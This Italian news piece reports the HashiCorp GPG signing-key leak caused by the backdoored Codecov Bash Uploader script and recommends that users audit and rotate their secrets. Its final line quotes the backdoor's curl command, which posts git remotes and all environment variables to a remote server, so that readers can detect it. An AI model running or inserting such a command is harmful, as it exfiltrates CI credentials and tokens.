L'azienda HashiCorp, nota per lo sviluppo di strumenti open source come Vagrant, Packer, Nomad e Terraform, ha annunciato una perdita della chiave GPG privata utilizzata per generare firme digitali che verificano i rilasci. Gli attaccanti che hanno ottenuto accesso alla chiave GPG avrebbero potenzialmente potuto apportare modifiche nascoste ai prodotti HashiCorp, certificandoli con una firma digitale corretta. Tuttavia, l'azienda ha dichiarato che, a seguito di un audit, non sono stati trovati segni di tentativi di modifica simili.
Attualmente, la chiave GPG compromessa è stata revocata e un nuovo key è stata introdotta. Il problema ha riguardato solo la verifica tramite i file SHA256SUM e SHA256SUM.sig, senza influire sulla generazione di firme digitali per i pacchetti Linux DEB e RPM forniti tramite releases.hashicorp.com, né sui meccanismi di conferma dei rilasci per macOS e Windows (AuthentiCode).
La fuga è avvenuta a causa dell'uso nella propria infrastruttura di uno script Codecov Bash Uploader (codecov-bash), progettato per caricare rapporti di copertura dai sistemi di integrazione continua. Durante l'attacco all'azienda Codecov, un backdoor è stato nascosto in questo script, attraverso il quale sono stati inviati password e chiavi di crittografia a un server malintenzionati.
Per il furto, gli attaccanti hanno sfruttato un errore nel processo di creazione dell'immagine Docker di Codecov, che consentiva di estrarre dati per l'accesso a GCS (Google Cloud Storage), necessari per apportare modifiche allo script Bash Uploader, distribuito dal sito codecov.io. Le modifiche sono state apportate il 31 gennaio e sono rimaste inosservate per due mesi, permettendo agli aggressori di estrarre informazioni memorizzate negli ambienti dei sistemi di integrazione continua dei clienti. Grazie al codice dannoso aggiunto, gli aggressori potevano accedere alle informazioni sul repository Git testato e a tutte le variabili d'ambiente, comprese quelle contenenti token, chiavi di crittografia e password trasmesse ai sistemi di integrazione continua per accedere al codice delle applicazioni, ai repository e ai servizi come Amazon Web Services e GitHub.
Oltre all'uso diretto dello script Codecov Bash Uploader, è stato impiegato in altri caricamenti, come Codecov-action (Github), Codecov-circleci-orb e Codecov-bitrise-step, i cui utenti sono anch'essi colpiti dal problema. Si raccomanda a tutti gli utenti di codecov-bash e prodotti correlati di effettuare un audit delle proprie infrastrutture, nonché di cambiare le password e le chiavi di crittografia. È possibile controllare la presenza di un retrotraccia nello script cercando la stringa curl -sm 0.5 -d "$(git remote -v)<<<< ENV $(env)" http:///upload/v2 || true
Fonte: opennet.ru
